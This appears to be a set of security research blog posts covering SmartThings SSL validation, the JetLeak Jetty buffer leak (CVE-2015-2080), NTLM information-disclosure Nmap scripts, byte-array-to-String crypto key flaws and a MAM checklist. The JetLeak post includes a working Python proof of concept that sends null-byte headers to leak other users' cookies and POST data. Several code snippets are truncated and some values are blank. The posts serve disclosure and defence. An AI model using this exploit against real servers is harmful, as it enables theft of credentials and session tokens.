SmartThings SSL Certificate Validation Vulnerability

The Labs team at Gotham Digital Science recently conducted independent research into the SmartThings platform as part of an ongoing effort to identify security vulnerabilities in “Internet of Things” devices and assist vendors in the preparation of appropriate fixes.

During the course of this research, a vulnerability was discovered in the SmartThings Hub device that could allow attackers to intercept and modify communications between the Hub and the SmartThings backend servers.  This vulnerability has been patched by the vendor and updated firmware has been pushed to existing Hub devices.  GDS would like to thank SmartThings for their responsiveness and efforts in remediating this issue.


The communications between the SmartThings Hub and the SmartThings backend servers is encrypted with SSL. However, the SSL client implementation in use does not validate the authenticity of the SSL certificate presented by the server during the initial handshake. An attacker with the ability to monitor and intercept traffic can present a “forged” SSL certificate to the Hub claiming to be a legitimate backend server, which the Hub will accept as genuine. This makes it possible to perform a “man-in-the-middle” attack, whereby an attacker relays communications between client and server without their knowledge. In this scenario, the communications are available to the attacker in an unencrypted form and may be modified or disrupted, effectively defeating the protections offered by SSL encryption.

Secure and authenticated communications are vital to a platform such as SmartThings, which may be used as part of a home security system. As an example, the Hub transmits a data packet when a SmartSense Open/Closed Sensor opens. By simply not relaying this data packet, an attacker can prevent notification of this event from ever reaching the SmartThings backend servers, which in turn prevents notification being delivered to the end user.

A potential mitigating factor is the lack of WiFi communication used by the Hub, making traffic interception more difficult as it requires that an attacker be physically connected to the same network as the Hub or for interception to occur during transit over the Internet. However this does not offer complete protection, as several home networks make use of WiFi bridges or repeaters. An attacker may also have compromised another device residing on the network such as a router or personal media server that may be used to perform traffic interception.

Disclosure timeline:

11/10/14 - Initial report to vendor
11/11/14 - Report acknowledged
11/21/14 - Vulnerability confirmed
01/29/15 - Updated firmware rollout begins
03/04/15 - Public disclosure


JetLeak Vulnerability: Remote Leakage of Shared Buffers in Jetty Web Server [CVE-2015-2080]


GDS discovered a critical information leakage vulnerability in the Jetty web server that allows an unauthenticated remote attacker to read arbitrary data from previous requests submitted to the server by other users. I know that sentence is a mouthful, so take a brief moment to digest it, or simply keep reading to understand what that means. Simply put, if you’re running a vulnerable version of the Jetty web server, this can lead to the compromise of sensitive data, including data passed within headers (e.g. cookies, authentication tokens, Anti-CSRF tokens, etc.), as well as data passed in the POST body (e.g. usernames, passwords, authentication tokens, CSRF tokens, PII, etc.). (GDS also observed this data leakage vulnerability with responses as well, but for brevity this blog post will concentrate on requests)

The root cause of this vulnerability can be traced to exception handling code that returns approximately 16 bytes of data from a shared buffer when illegal characters are submitted in header values to the server. An attacker can exploit this behavior by submitting carefully crafted requests containing variable length strings of illegal characters to trigger the exception and offset into the shared buffer. Since the shared buffer contains user submitted data from previous requests, the Jetty server will return specific data chunks (approximately 16-bytes in length) from the user’s request depending on the attacker’s payload offset.

Am I vulnerable?

This vulnerability affects versions 9.2.3 to 9.2.8. GDS also found that beta releases and later (including the beta releases of 9.3.x) are vulnerable.

We have created a simple python script that can be used to determine if a Jetty HTTP server is vulnerable. The script code can be downloaded from the GDS Github repository below:

Walkthrough of Vulnerable Code

When the Jetty web server receives a HTTP request, the below code is used to parse through the HTTP headers and their associated values. This walkthrough will focus primarily on the parsing of the header values. The server begins by looping through each character for a given header value and checks the following:

  • On Line 1164, the server checks if the character is printable ASCII or not a valid ASCII character
  • On Line 1172, the server checks if the character is a space or tab
  • On Line 1175, the server checks if the character is a line feed

If the character is non-printable ASCII (or less than 0x20), then all of the checks above are skipped over and the code throws an ‘IllegalCharacter’ exception on line 1186, passing in the illegal character and a shared buffer.

File: jetty-http\src\main\java\org\eclipse\jetty\http\

920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
1163:     case HEADER_VALUE:
1164:         if (ch>HttpTokens.SPACE || ch<0)
1165:         {
1166:             _string.append((char)(0xff&ch));
1167:             _length=_string.length();
1168:             setState(State.HEADER_IN_VALUE);
1169:             break;
1170:         }
1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173:            break;
1175:         if (ch==HttpTokens.LINE_FEED)
1176:         {
1177:             if (_length > 0)
1178:             {
1179:                 _value=null;
1180:                 _valueString=(_valueString==null)?
                             takeString():(_valueString+” “+
1181:             }
1182:             setState(State.HEADER);
1183:             break;
1184:         }
1186:         throw new IllegalCharacter(ch,buffer);

In the definition of the ‘IllegalCharacter’ method, the server returns an error message. The error message is a format string composed of the illegal character, a static string that represents whether the exception occurred in the header name or header value, and finally a String that outputs some content of the shared buffer via a call to ‘BufferUtil.toDebugString’.

File: jetty-http\src\main\java\org\eclipse\jetty\http\

1714: private class IllegalCharacter extends BadMessage
1715: {
1716:     IllegalCharacter(byte ch,ByteBuffer buffer)
1717:     {
1718:         super(String.format(“Illegal character 0x%x 
                      in state=%s in '%s’”,ch,_state,
1719:     }
1720: }

In the ‘toDebugString’ method, there is a call to ‘appendDebugString’, which accepts a StringBuilder object as its first parameter and the shared buffer object as the second parameter. The StringBuilder object will be populated by the ‘appendDebugString’ method and ultimately returned to the user.

File: jetty-util\src\main\java\org\eclipse\jetty\util\

 963: public static String toDebugString(ByteBuffer buffer)
 964: {
 965:     if (buffer == null)
 966:         return “null”;
 967:     StringBuilder buf = new StringBuilder();
 968:     appendDebugString(buf,buffer);
 969:     return buf.toString();
 970: }

Since the shared buffer contains data from previous requests, in order for the attacker to retrieve specific data in the shared buffer, their goal is to create a long enough string of illegal characters to overwrite non-important data in the previous request up until the data the attacker wants (e.g. Cookies, authentication tokens, etc.). When the code on line 996 executes, the server reads 16 bytes from the shared buffer before appending “…”. Since the attacker already off-setted into the previous request via an appropriate length string of illegal characters, these 16 bytes should contain sensitive user data from a previous user’s request.

File: jetty-util\src\main\java\org\eclipse\jetty\util\

972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
983:     buf.append(<<<);
984:     for (int i = buffer.position(); i < buffer.limit(); i++)
985:     {
986:         appendContentChar(buf,buffer.get(i));
987:         if (i == buffer.position() + 16 && 
                     buffer.limit() > buffer.position() + 32)
988:         {
989:             buf.append(“…”);
990:             i = buffer.limit() - 16;
991:         }
992:     }
993:     buf.append(>>>);
994:     int limit = buffer.limit();
995:     buffer.limit(buffer.capacity());
996:     for (int i = limit; i < buffer.capacity(); i++)
997:     {
998:         appendContentChar(buf,buffer.get(i));
999:         if (i == limit + 16 && 
                    buffer.capacity() > limit + 32)
1000:        {
1001:             buf.append(“…”);
1002:             i = buffer.capacity() - 16;
1003:         }
1004:     }
1005:     buffer.limit(limit);
1006: }
Additional places where IllegalCharacter is called in 9.2.x codebase (line numbers may differ):
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\

The section below provides a walkthrough of how a malicious user could exploit this vulnerability to read sensitive data from another user’s HTTP requests (e.g. cookies, authentication headers, credentials or sensitive data submitted within URLs or POST data).

Exploit Walkthrough

Step 1:

The HTTP request below represents a sample request sent by a victim to the Jetty web server (version 9.2.7.v20150116). Notice the ‘Cookie’ and POST body parameters sent to the server since these will be the values that will be targeted within our proof of concept.

Reproduction Request (VICTIM):

POST /test-spec/test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13


Reproduction Response (VICTIM):

HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460

Step 2:

As the attacker, craft a request to the same endpoint, but remove the contents of the ‘Referer’ header and replace it with a string of illegal characters. In this particular case, the string contains 44 null bytes. One could conceivably use any non-ASCII character less than 0x20 (other than line-feed since the code handles it specially).

Note, the process of figuring out the correct length of characters for the illegal character string is an iterative process. The suggestion is to start with a small string and work towards a larger size string. If the attacker starts with too large of a string they risk overwriting sensitive data from the previous request. Ideally, the attacker wants to overwrite data in the previous request up until the beginning of the sensitive data. The code will then read 16 bytes of sensitive data and return it to the attacker.

import httplib, urllib

conn = httplib.HTTPConnection("")

headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason

Step 3:

Once the script is run and the malicious payload is sent to the server, the attacker should receive a response similar to the one below. Notice that the cookie value is contained within the response. Since it is conceivable that the attacker may want to obtain a value greater than 16 bytes in length, the script above can be run multiple times to get additional 16 byte chunks from the buffer.

Step 4:

To read the POST body parameters, the attacker can modify the length of the illegal character string to offset further into the shared buffer as shown below.



Currently, if you are running one of the vulnerable Jetty web server versions, Jetty recommends that you upgrade to version 9.2.9.v20150224 immediately.

Organizations should also be aware that Jetty may be bundled within third party products. We recommend referring to the Jetty Powered website for a list of products (not exhaustive) that utilize Jetty. Due to Jetty being a fairly lightweight HTTP server, it is also commonly used by a variety of embedded systems. Organizations should contact any vendors that may be running a Jetty web server in order to determine if their products are vulnerable and when any patches to resolve this vulnerability will be made available. Additionally, we have encountered cases where development teams use Jetty as a lightweight replacement for app servers such as Tomcat. Organizations should consider notifying their development teams about the vulnerability and require teams to upgrade any vulnerable versions of Jetty.

The latest release of the Jetty HTTP server is available for download at the following locations:

  • Maven -
  • Jetty Downloads Page -

UPDATE: Jetty is currently working on releasing patched versions of the affected JARs for releases 9.2.3 to 9.2.8 and will make that available through their website to the general public

Disclosure Timeline

  • Feb 19, 2015 - Vulnerability report sent to [email protected] using SendSafely
  • Feb 23, 2015 - Jetty team downloads the vulnerability report
  • Feb 24, 2015 - Jetty team releases HTTP Server v9.2.9.v20150224 with bug fix and publicly announces a critical vulnerability advisory with exploit code
  • Feb 25, 2015 - GDS publicly discloses vulnerability

GDS commends the Jetty development team on their timely response and swift remediation. It should be noted that the decision to publicly disclose the vulnerability was made by the Jetty development team, independent of GDS. GDS’ blog post was published after it was discovered that Jetty had publicly disclosed the vulnerability.


NTLM Information Disclosure: Enhanced Protocol Support

Expanding on our previous blog post detailing NTLM information disclosure over HTTP, we’ve released six additional Nmap scripts to support this method among other common protocols that support NTLM authentication.  The new supported protocols include MS-SQL, SMTP, IMAP, POP3, NNTP, and Telnet.

Similar to the HTTP NTLM information disclosure script, these function with identical behavior and provide the same output.  The example below demonstrates usage of the MS-SQL script which leverages the MS-TDS protocol:

$ nmap –p1433 ––script ms-sql-ntlm-info

Nmap scan report for
Host is up (0.040s latency).
1433/tcp open ms-sql-s
| ms-sql-ntlm-info:
|  Target_Name: ACTIVEDB
|  NetBIOS_Domain_Name: ACTIVEDB
|  NetBIOS_Computer_Name: DB-TEST2
|  DNS_Domain_Name:
|  DNS_Computer_Name:
|  DNS_Tree_Name:
|_ Product_Version: 6.1 (Build 7601)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Utilizing such information is useful for network reconnaissance as the information disclosed may be used as part of more complex attacks, such as leveraging domain information for brute forcing accounts, identifying internal hostnames during external to internal pivoting activities, or determining end-of-life operating systems.

These scripts have been tested against all current/past versions of Microsoft SQL, SMTP, IMAP, POP3, NNTP, and Telnet.  The HTTP NTLM script (http-ntlm-info.nse) has been committed into the Nmap source.  All other scripts have been submitted and are awaiting commitment.

The scripts along with documentation have been published on the GDS Github repository at the following location:


When ‘EFBFBD’ and Friends Come Knocking: Observations of Byte Array to String Conversions

You’re on yet another thrilling Android assessment, tearing so many holes in this newfound application that you fear the development team may opt to redesign the entire thing instead of fixing what you’ve so gleefully destroyed, when all of a sudden you come across the following encryption key in your hooking output:

Encryption Key:


With your head now tilted at a rather astute 22 degree angle off-center, excitement and jubilation has turned into curiosity and wonder. Why does this encryption key have so many repeating ‘EFBFBD’ string patterns? Does your Substrate debugging code contain printing errors? Did the developers do something wrong while generating the key? Are you even sure that what you are printing out is the encryption key used to protect application data?

Analyzing the Android Application Code

As you might have guessed, the above scenario occurred on a real assessment some time back. Although we didn’t have the source code for the Android application, we were able to decompile the APK. Through a combination of runtime analysis using custom Substrate hooks and sifting through the decompiled obfuscated code, we confirmed that our debugging code was indeed correct and the output that we saw was indeed the encryption key. The next logical step was to inspect the application’s key generation process. It was here that we found our culprit.

For simplicity, instead of viewing decompiled obfuscated code, we have written a sample application that mirrors the behavior above. Take a moment and see if you can pinpoint what might be the root cause of the ‘EFBFBD’ string pattern in the encryption key.

public static String genKey(){

    PBEKeySpec localPBEKeySpec = new PBEKeySpec( 
        getPassword().toCharArray(), getSalt(), 20000, 256);          

    try {
        byte[] theKey = 

        return new String(theKey);
    } catch (InvalidKeySpecException e) {
    } catch (NoSuchAlgorithmException e) {

    return null;

Did you spot the issue? If not, don’t worry about it, we’ll walk through it now.

At a high-level, this method derives an encryption key based on the user’s application password. This encryption key is used to protect all information assets stored by the application on the Android device. First, the application creates a ‘PBEKeySpec’ object based on the user’s password, a salt value, an iteration count (20,000), and the desired length of the derived key (256 bits). An encryption key is then generated using the PBKDF2 key derivation function and stored into a byte array. So far, so good…at least until the next statement. What looks to be an innocuous casting of the byte array encryption key to a String, turns out to be the operation that is ultimately responsible for the repeating ‘EFBFBD’ pattern in the encryption key.

Let’s insert some debug statements in the sample application to see what the encryption key was prior to the String conversion and following the String conversion. Since the encryption key will contain non-printable characters, we will convert the key to hex using our own ‘bytesToHex’ method before printing it out.

public static String genKey(){

    PBEKeySpec localPBEKeySpec = new PBEKeySpec(
        getPassword().toCharArray(), getSalt(), 20000, 256);

    try {
        byte[] theKey = 
        Log.i(_TAG, “Key (Before Casting):+ 
            bytesToHex( theKey ) );

        return new String(theKey);

public static void test() {
    String theKey = genKey();
    Log.i(_TAG, “Key (After Casting):+ 

After running our sample application, below is the resulting output. The encryption key prior to casting represents the key stored in the byte array. This is the correct, expected value. Notice, that the encryption key after the String casting takes place contains the repeating ‘EFBFBD’ pattern mentioned earlier.

Key (Before Casting):                                



Key (After Casting):      



Byte Array to String Casting - Android

At this point we have established that casting our byte array to a String yields a very odd looking pattern of ‘EFBFBD’ strings in the resulting encryption key. So, that raises the question, what does EFBFBD mean?

According to the Android documentation: “the platform’s default charset is UTF-8. (This is in contrast to some older implementations where the default charset depended on the user’s locale.)”. In UTF-8, the hex string ‘EFBFBD’ represents a replacement character. In short, a replacement character is used to replace an incoming character whose value is unknown or un-representable. That means every ‘EFBFBD’ sequence maps to a byte (or two hex positions) from the original key (before casting) that could not be represented after the String casting took place. To illustrate this concept, let’s do a find and replace on the encryption key (after casting); replacing every ‘EFBFBD’ sequence with ‘**’ and line it up under the original encryption key.


We can now easily see the bytes that could not be represented following the String casting. Note, the ‘!!’ was manually inserted to line up the two outputs. It appears that the first byte of the original encryption key was not included by Android in the String casted encryption key.

Byte Array to String Casting – Different OS

After observing the abnormal String casting behavior on Android, we were curious to see what the outcome would be if we ran a similarly constructed Java application on a different operating system. Enter Windows.

The sample application is given below. Notice, we’ve added an additional debugging statement this time around to identify the default charset being used. According to the Java docs, “the default charset is determined during virtual-machine startup and typically depends upon the locale and charset of the underlying operating system.”

public static String genKey(){
    PBEKeySpec localPBEKeySpec = new PBEKeySpec(
        getPassword().toCharArray(), getSalt(), 20000, 256);

    try {
        byte[] theKey = 

        System.out.println(“Key (Before Casting):+
        bytesToHex( theKey ) );
        return new String(theKey);
   return null;

public static void main(String[] args) {
    System.out.println(“Default Charset:+ 
    String theKey = genKey();
    System.out.println(“Key (After Casting):+

After running the above Java application from Eclipse on a Windows 8.1 (x64) operating system, we received the following output:

Default Charset: 



Key (Before Casting):                                 



Key (After Casting):      



While the encryption keys before and after the String casting takes place look to be identical, they do deviate slightly. Notice that the fourth byte of the original encryption key is ‘8D’, while the fourth byte of the String casted encryption key is ‘3F’. What happened here?

In this particular case, the default charset of the underlying operating system is ‘Windows-1252 (or CP-1252)’. According to the MSDN technical documentation, positions 81, 8D, 8F, 90, and 9D are undefined and reserved by Windows. As a result, after the String casting takes place, the ‘8D’ character in the original encryption key is converted to ‘3F’, which represents the ‘?’ character.

Byte Array to String Casting – Summary View

Below is a summary of the same derived encryption key for different platforms after they have been casted from a byte array to a String. Note, as expected, the byte array representation of the encryption key (before casting) is the same for all platforms.

Key (Byte Array - Before Casting):



Android 4.3 Key (After Casting):



Windows 8.1 (After Casting):



Ubuntu 12.04 (After Casting):



Mac OS X 10.10 (After Casting):




Although we took the long way to get to this point, we did so on purpose…after all, seeing is believing. From what we’ve seen, in the context of crypto operations, casting byte arrays to Strings is fairly unpredictable and in almost all cases, undesirable. From the perspective of an encryption key, a chain of ‘EFBFBD’ (or ‘3F’ for that matter) can lead to a significant loss of entropy. From the perspective of encrypted data, a chain of replacement characters likely means that you altered the contents of the data when you casted the byte array to a String. This was probably not your intention.

In short, avoid casting byte arrays to Strings if at all possible. Most crypto methods/functions accept byte arrays as arguments, dismissing the need to perform String casting. If you must handle the String equivalent of a byte array when dealing with crypto operations, consider converting the contents of the byte array to a Base64 encoded String or to its hex equivalent.

Hopefully, this blog post demonstrates the importance of performing validation on crypto routines at runtime. These subtle security flaws are difficult to identify when solely reviewing decompiled/disassembled code and can be easily overlooked. By performing runtime analysis through method hooking or debugging, flaws in crypto routines can be much easier to identify, and in the end, whether you’re a developer or a pen tester, could mean the difference between spotting that repeating ‘EFBFBD’ string pattern or missing it entirely.



Mobile Application Management (MAM) Security Checklist and Whitepaper

As a followup to the research GDS performed in 2014 on Mobile Application Management (MAM) solutions for protecting organization data in Bring Your Own Device (BYOD) deployments, we are finally releasing our security checklist and whitepaper. The presentation delivered at Blackhat USA 2014 is available for download here.

The MAM security checklist is intended to be used as a baseline for assessing, designing, and testing the security of a MAM solution and is thus aptly suited to assist three major stakeholders in the BYOD space: buyers, builders, and breakers. This list was constructed from our experience and research assessing a variety of MAM solutions in the marketplace today. This should not be considered an exhaustive list, but rather a compilation of major test cases that can be used to determine the security posture of a MAM solution. As always, contributions/recommendations from the community are welcome in an effort to further expand this checklist. We have published the checklist on Github in order promote feedback and collaboration. The checklist can be found at the following Github page: 

The whitepaper expands on the research delivered at Blackhat USA 2014. It provides additional background on the architecture of MAM solutions, delves into vulnerability patterns, and provides recommendations for designing and implementing MAM solutions securely. The whitepaper can be downloaded using the following link: